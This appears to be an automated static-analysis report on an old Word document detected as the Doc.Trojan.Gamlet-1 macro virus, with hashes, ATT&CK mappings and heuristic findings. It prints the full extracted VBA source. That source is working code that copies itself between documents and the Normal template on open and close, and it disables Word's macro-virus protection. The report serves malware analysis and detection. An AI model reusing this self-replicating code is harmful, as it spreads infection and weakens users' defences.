Doc.Trojan.Gamlet-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 8412830d6958dd1e…

MALICIOUS

Office (OLE)

48.0 KB Created: 1999-05-05 11:56:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-23
MD5: 715ffbbdde89590b02f0138cc557d4e0 SHA-1: 5c6cd1410c177d7beb35513ba59166ae4cdc8f2a SHA-256: 8412830d6958dd1e487a86650719974ac829d08493e6440224cf9bcac7aacd24
256 Risk Score

Malware Insights

Doc.Trojan.Gamlet-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are indicative of older malware families. The 'Gamlet' macro attempts to disable virus protection and replicate itself across documents and templates. The ClamAV detection of 'Doc.Trojan.Gamlet-1' strongly supports this family attribution. The document body itself is a lure, discussing payment processing, which is a common pretext for malicious documents.

Heuristics 6

  • ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gamlet-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1809 bytes
SHA-256: 4ce6f4a5d41db41abfb608811d4d96b355bf2d5710d1b6517a043ac3f4610fea
Detection
ClamAV: Doc.Trojan.Gamlet-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Gamlet"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e1:

On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e2:


End Sub


Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


End Sub

Sub AutoExec()
    Options.VirusProtection = False
End Sub




Sub ToolsMacro()
'    Dialogs(wdDialogToolsMacro).Show
With Assistant
    .Visible = True
    .Animation = 24
End With

End Sub

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